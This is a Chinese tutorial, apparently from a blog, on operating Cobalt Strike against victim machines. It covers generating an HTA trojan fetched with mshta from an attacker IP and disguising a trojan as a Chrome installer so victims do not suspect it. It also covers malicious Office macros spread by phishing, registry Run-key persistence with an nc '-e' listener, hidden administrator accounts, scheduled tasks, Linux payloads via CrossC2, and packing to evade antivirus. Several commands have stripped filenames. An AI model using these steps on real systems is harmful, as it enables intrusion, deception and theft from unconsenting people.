黑客必备利器:如何在系统上安装和使用 CobaltStrike(简称:CS)

时间:2024-10-20 09:10:06

数据来源 

      本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 

一、Cobalt Strike相关介绍 

1)Cobalt Strike是什么? 

        Cobalt Strike(简称CS)是一款专业的团队作战渗透测试工具,包含客户端和服务端两个部分。它的主要功能是在已经取得攻击目标控制权后,用于持久化、横向移动、流量隐藏以及数据窃取等操作。

        当在目标主机上成功执行了 CS 的 payload(有效载荷/攻击模块/攻击方式)时,它会创建一个 Beacon,即远程控制木马,通过与 C2 服务器建立连接,使攻击者能够远程控制被攻击主机并且获取所需信息。

        C2 是 Command & Control server 的缩写,也就是命令与控制服务器,是被攻击主机与攻击者之间通信的中心节点。攻击者可以通过 C2 服务器下发指令、接收反馈并控制被攻击主机的行为,实现渗透测试等各种目的。

  

  • adscript:拓展应用的脚本。
  • c2lint:用于检查 profile 的错误异常。
  • teamserver:Cobalt Strike 的服务端程序,用于在被攻击目标的主机上运行,提供指令并控制被攻击主机。
  • cobaltstrike、:Cobalt Strike 的客户端程序,采用Java跨平台,用于与服务端程序通信和交互,完成渗透测试任务。
  • logs:记录与国标主机相关信息的目录,对渗透测试过程中的追踪和分析非常有帮助。
  • :用于更新 Cobalt Strike 的工具。
  • csthird-party:存放第三方工具的目录。

最核心的是 teamserver 和 ,分别代表了 Cobalt Strike 的服务端和客户端。服务端用于控制被攻击主机,而客户端用于与服务端通信和执行渗透测试任务。其他工具和文件都是为了辅助和增强 Cobalt Strike 的功能。请记住,在使用 Cobalt Strike 进行渗透测试时,务必遵守法律法规,并获得合法授权。

2)kali安装cobaltstrike

 在 cs4.0目录下新建终端,然后运行服务端teamserver

# 给予服务端程序teamserver 执行权限(在linux中复制进来的文件默认是没有执行权限的)
chmod +x teamserver

# 可以查看kali的IP地址(可选)
ifconfig eth0

# # 运行服务端程序,192.168.0.104是本机IP,user   是要设置的连接密码(可改)
./teamserver 192.168.0.104 user

在 cs4.0目录下新建终端,输入如下命令运行客户端程序

java -=UTF-8 -javaagent: -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar 

新建配置文件,连接CS服务器 

3)常用功能

  1. 链接到另外一个团队服务器:在网络渗透测试和攻击中,攻击者可能需要与其他团队服务器建立连接以获取进一步访问权限。

  2. 断开服务器连接:在网络渗透测试和攻击中,攻击者可能需要断开与目标服务器的连接以避免被发现。

  3. 查看所有监听器:在网络渗透测试和攻击中,攻击者可能会设置监听器以捕获目标系统上的流量或访问凭据。

  4. 切换为pivot图[服务器节点]:在网络渗透测试和攻击中,攻击者可能会使用Pivot技术将攻击点从一个系统转移到另一个系统。

  5. 切换为会话列表:在网络渗透测试和攻击中,攻击者可能会使用会话列表来管理已经建立的会话。

  6. 切换为目标列表:在网络渗透测试和攻击中,攻击者可能会使用目标列表来管理攻击目标。

  7. 查看凭据信息:在网络渗透测试和攻击中,攻击者可能会尝试获取目标系统上的账户凭据以获取更高的权限。

  8. 查看下载文件:在网络渗透测试和攻击中,攻击者可能会尝试下载目标系统上的文件以获取敏感信息。

  9. 查看键盘记录:在网络渗透测试和攻击中,攻击者可能会使用键盘记录器来获取目标系统上输入的信息。

  10. 查看屏幕截图:在网络渗透测试和攻击中,攻击者可能会使用屏幕截图来获取目标系统上的敏感信息。

  11. 生成stageless的exe木马文件:在网络渗透测试和攻击中,攻击者可能会使用stageless的exe木马文件来对目标系统进行攻击。

  12. 设定java自签名applet程序攻击:在网络渗透测试和攻击中,攻击者可能会使用Java自签名applet程序攻击目标系统。

  13. 生成恶意Office宏攻击:在网络渗透测试和攻击中,攻击者可能会使用恶意Office宏攻击目标系统。

  14. 建立web delivery:在网络渗透测试和攻击中,攻击者可能会建立web delivery以向目标系统提供恶意代码。

  15. 在web服务器上托管文件:在网络渗透测试和攻击中,攻击者可能会将恶意文件托管在web服务器上。

  16. 管理在web服务器上的应用和文件:在网络渗透测试和攻击中,攻击者可能会管理托管在web服务器上的应用和文件。

  17. 帮助:提供帮助信息。

  18. 关于:显示关于该工具或软件的信息。

4)Cobaltstrike简介- 监听器 Listener

1)内部 beacon 

        与外部beacon类似,内部beacon是指潜伏在目标系统内部的小型程序或代码片段,定期与命令和控制(C2)服务器进行通信,以提供有关目标系统的信息或接收进一步的指令。内部beacon主要用于网络安全领域中进行威胁侦测和入侵检测。

  • Beacon DNS:Beacon DNS是指通过DNS协议进行通信的beacon。攻击者可以使用DNS流量来与受感染系统进行通信,并通过DNS查询和响应中隐藏恶意指令或数据。

  • Beacon HTTP:Beacon HTTP是指通过HTTP协议进行通信的beacon。攻击者可以利用HTTP流量与受感染系统进行通信,并通过HTTP请求和响应中传递恶意指令或数据。

  • Beacon HTTPS:Beacon HTTPS是指通过HTTPS协议进行通信的beacon。类似于Beacon HTTP,攻击者使用加密的HTTPS流量与受感染系统进行通信,以隐藏恶意活动并绕过网络安全设备的检测。

  • Beacon SMB:Beacon SMB是指通过Server Message Block(SMB)协议进行通信的beacon。SMB协议常用于Windows网络共享和文件传输,攻击者可以利用SMB流量与受感染系统进行通信,并通过SMB命令和响应传递恶意指令或数据。

  • Beacon TCP:Beacon TCP是指通过TCP协议进行通信的beacon。攻击者可以使用TCP流量与受感染系统进行通信,并在TCP连接中传递恶意指令或数据。

2)外部 beacon [与其他工具联合使用时会用到]

        在网络安全领域中指潜伏在目标系统中的小型程序或代码片段,定期与命令和控制(C2)服务器进行通信,以提供有关目标系统的信息或接收进一步的指令。外部beacon表示这个beacon程序与目标系统之外的其他工具或系统进行联合使用。

  • Foreign HTTP:使用HTTP协议进行跨域通信。在网络安全领域中,攻击者可能会利用HTTP流量与受感染系统进行通信,以绕过网络安全设备的检测,并通过正常的HTTP流量传输被窃取的数据。

  • Foreign HTTPS:使用HTTPS协议进行跨域通信。HTTPS是一种加密的HTTP协议,通过使用SSL/TLS加密技术来保护数据的机密性和完整性。攻击者可能使用HTTPS流量与受感染系统进行通信,以隐藏恶意活动并绕过网络安全设备的检测。

打开监听器配置

创建一个新的监听器 -> 填写监听器名称(随便写,不重复就行)-> 选择有效载荷/攻击模块/攻击方式

添加HTTP主机

添加要在开启监听的HTTP端口:0-65535   在这个取值范围中1023以下的端口已经分配给了常用的一些应用程序,建议往大的填,避免端口被占用(重复)--> 最后保存即可

5)Cobaltstrike简介 -  Attacks(攻击)

Packages(封装/生成后门):

  • HTML Application         生成hta HTML应用程序
  • MS Office Macro          生成恶意宏放入 office 文件
  • Payload Generator      生成各种语言版本的 payload
  • Windows Executable   可执行文件  默认x86  勾选x64表示生成×64
  • Windows Executable(S) stageless生成全功能被控端

Web Drive-by:

  • Manage 管理当前 Team Server 开启的所有web服务
  • Clone site克隆某网站
  • Host File 在 Team Serve 的某端口提供Web以供下载某文件
  • Scripted Web Delivery 为 payload 提供web服务以便于下载和执行
  • System Profiler 用来获取系统信息:系统版本、Flash版本、浏览器版本等

 

二、攻击目标机器 - HTML Application(生成hta HTML应用程序

1)生成hta文件 (木马文件)

        最后在桌面上就能找到木马程序

2)提供端口下载文件(给受害者提供一个提供一个端口,让他可以下载我们的木马文件)

http://192.168.0.104:10067/download/

3)靶机执行远程命令  

我这里开了一台win7虚拟机(受害者)访问木马连接(注意:win7虚拟机要和kali连接同一个网络,不然两者无法通信)

测试win7和kali是否可以通信,使用命令:ping 目标IP地址(kali的ip)

在win7的虚拟机的cmd中输入命令:

# 访问kali系统生成的木马文件,这是最基本的上线方式
mshta http://192.168.0.104:10067/download/

三、攻击目标机器 - 操控目标机器

当有目标主机以任何方式运行了生成的被控端,出现在主机列表。

选中要操作的目标主机 -> 鼠标右键 -> 进入beacon(交互命令界面),在此使用 Beacon Commands对目标主机执行各种操作。

1)获取到对方的cmd权限

          sleep 0       # 设置beacon延迟时间为0毫秒,默认是60秒也就是说60秒命令才会成效一次

         也可以使用图形界面的方式更改延迟时间

        shell ipconfig   #  执行shell令,如果是在windows系统的命令行中我们要查看IP配置直接ipconfig   就可以了,但是在这里不行,要在前面加上shell

2)使用文件管理器

3)获取目标的远程桌面(VNC)

4)获取目标的进程

5)屏幕截图 

四、生成后门木马 - Windows Executable(Windows可执行文件)

1)生成可执行文件

2. 捆绑软件 

        这个木马文件别人一看都不知道这是啥?都不会下载运行,所以我们要把木马文件和其它软件的安装包捆绑起来,让他们安装其它软件时就自动安装我们的木马

用到的软件 

  •  压缩软件:WinRAR_5
  •  软件图标:Restorator 
  • 再准备一个谷歌的安装程序(在网上随便搜一下就能下载),用来捆绑木马 

创建自解压文件(把木马文件捆绑都谷歌的安装程序上) 

解压路径可以放到公用:C:\Users\Public 

 

  

 现在软件的图标和谷歌的不一样我们改一下图标,打开Restorator

成功,捆绑软件 

 最后受害者运行我们制作的谷歌安装程序,我们在kali就能监听到

运行我们制作的程序一样是可以安装谷歌,所以一般人是不会怀疑的 

 kali这边就能监听到

3. 上传至目标机器

  • 通过 webshell上传、运行
  • 通过互联网传播、钓鱼

五、生成后门木马 - Office 宏病毒 

1. 为文档添加宏

  1. 打开您要添加宏的 Office 文件(例如 )。
  2. 在菜单栏中选择 "视图"。
  3. 在下拉菜单中选择 "宏"。
  4. 在弹出的菜单中选择 "查看宏"。
  5. 在弹出的对话框中,选择宏的位置为 "当前文档"。
  6. 在 "宏名" 输入框中,输入您想要为宏命名的名称。
  7. 点击 "创建" 按钮。
  8. 将您的宏代码复制并粘贴到宏命令处。
  9. 在保存时,选择 "否" 并将文件另存为 .docm 格式。

2. 上传至目标机器

  • 通过互联网邮箱、社交媒体、论坛传描
  • 诱导点击 

实现:

1)创建Office 宏病毒 代码

2)创建一个docx文档,在桌面新建DOCX 文档并打开,前提你电脑没有安装WPS​​​​​然后安装WPS的VB宏插件,安装步骤一路下一步(可以选择安装路径)

 

写一些内容,最后保存文件

六、攻击完成后的操作

  • 开机自启动
  • 每次启动登录时都会按顺序自动执行

在Windows操作系统中,当计算机启动时,会自动运行注册表中的某些键值对以启动应用程序或服务。在您提供的示例中,四个键都是用于控制在启动时应该运行哪些应用程序或服务。

# 该键包含了当前用户登录到Windows时需要启动的应用程序或服务
HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run

# 该键包含了计算机上任何用户登录时需要启动的应用程序或服务
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\Currentversion\Run

# 该键包含了当前用户登录到Windows时需要在资源管理器启动时运行的应用程序或服务
HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Policies\Explorer\Run

# 该键包含了计算机上任何用户登录时需要在资源管理器启动时运行的应用程序或服务
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\Policies\Explorer\Run

扩展知识:

注册表的 HKEY_LOCAL_MACHINE 和 HKEY_CURRENT_USER 键的区别:

HKEY_LOCAL_MACHINE键存储计算机上所有用户的配置信息,而HKEY_CURRENT_USER键仅存储当前登录用户的配置信息。(简单理解:前者对所有用户有效 ,后者对只对当前用户有效)

1)上传nc(木马)

upload  C:\windows\system32

2)查看自启动注册表项:

reg enumkey -k HKLM\software\microsoft\windows\currentversion\run

该命令用于枚举注册表路径HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\Run下的所有子键。它将列出在系统启动时自动运行的程序的相关信息。请注意,这是一个只读操作,不会对注册表进行任何修改。 

3)添加注册表,开机启动nc并开启监听

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d "C:\windows\system32\ -Ldp 5555 -e "

 请注意,这是一条Windows注册表命令,用于设置在系统启动时自动运行的程序。该命令将在注册表路径HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run下创建一个名为"nc"的值,并将其数据设置为C:\windows\system32\ -Ldp 5555 -e

4)查看注册表指定项值

reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc

请注意,这是一个用于查询注册表的命令。它将在注册表路径HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\Run下查询名为"nc"的值。 

5)隐藏账户

隐藏用户:

net user admin$ 123456 /add && net localgroup administrators admin$ /add 

这个命令实际上是两个命令的组合,用了"&&"运算符将它们连接起来。下面是每个命令的作用:

  1. net user admin$ 123456 /add:这个命令使用"net user"命令创建了一个名为"admin$"的本地用户,并将密码设置为"123456"。

  2. net localgroup administrators admin$ /add:这个命令使用"net localgroup"命令将"admin$"用户添加到"administrators"本地组中,从而将该用户提升为管理员权限。

因此,这个命令的作用是创建一个名为"admin$"的本地用户,并将其提升为管理员权限。需要注意的是,这种做法可能会增加系统安全风险,因为这个账户是一个隐藏账户,如果被黑客攻击或者被恶意软件利用,可能会给系统造成安全隐患。建议您在进行此类操作时要谨慎,只在必要的情况下使用。

6)激活 Guest 用户:(来宾用户默认是没有激活的)

net user guest Admin@hacker && net localgroup administrators guest /add
net user guest /active:yes

这两个命令的作用如下:

  1. net user guest Admin@hacker && net localgroup administrators guest /add:这个命令首先尝试创建一个名为"guest"的用户,密码为"Admin@hacker"。如果这一步成功,接着将这个"guest"用户添加到本地管理员组中,使其具有管理员权限。但需要注意的是,默认情况下,Windows系统不允许将Guest用户添加到管理员组中,因此这个命令可能在标准设置下无法成功执行。

  2. net user guest /active:yes:这个命令尝试激活名为"guest"的用户账户,使其处于激活状态,可以登录系统使用。

需要特别注意的是,对系统默认的Guest用户进行这样的操作可能会带来严重的安全风险,因为Guest账户通常具有较低的权限,并且可能被黑客用来进行攻击。

7)计划任务

schtasks /create /sc MINUTE /mo 1 /tn test /tr "C:\Users\Administrator\Desktop\mx\"

这个命令将会创建一个名为"test"的计划任务,指定了每隔一分钟执行一次,并且要运行的程序是"C:\Users\Administrator\Desktop\mx\"。 

七、linux 借助 CrossC 上线 (linux 系统上线我们的木马)

我这里又安装了cs3.14又因为cs的版本要与CrossC2相对应才行,搞了一天才发现这个问题,CS3.14 <——>CrossC2 -v2.1版本,其他版本的对应关系可以自己尝试

1)开启cs3.14服务端与客户端 (使用方式与上面介绍的CS4.0是一样的)

# 启动服务端
./teamserver 192.168.1.3 root 

# 启动客户端
java -=UTF-8 -javaagent: -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar 

2)下载linux插件CrossC2-v2.1

打开Github:GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payload

3)生成linux木马

方式一:脚本的方式生成 ()

# 运行脚本                       系统类型、生成的文件名(这里也可以写文件路径,生成到指定的文件路径如:tmp\c2)
./ 监听器ip 监听器端口 null null Linux x64 C2

方式二: 

按道理来说会有个弹框,弹框内会有个下载链接但是我这里没有反应(我之前用3.1版本的插件就就是这样),应该是cs与插件的版本不是很匹配,不管了有一种方式生成木马辅助我们学习就好,毕竟我们不是要做违法的事,知道有这种方式就好。

4)有了木马之后要创建一个监听器,这个插件只支持https的协议(windows/beacon_https/reverse_https),所以我们要创建https的监听器,注意:监听器的ip与端口要与刚才的木马文件相对应 

可以直接在当前的攻击机运行木马测试一下(我这里的cs是安装的kali中的所以可以运行linux的木马文件)

kali成功上线

5)把木马拿到受害者主机运行

# 赋予执行权限
chmod +x 木马文件名

杀毒软件会查杀我们的怎么办?一招教你躲避火绒的探测 

 加壳:压缩壳、加密壳

如:Themida

使用示例:

        打开软件 

然后耐心等待加密过程,最后加密成功的界面如下,之后就可以关闭软件了。

然后可以复制到真实机上测试

         后门木马请勿随意传播,如果造成危害属于提供计算机操作系统入侵工具罪及非法入侵计算机操作系统数罪并罚。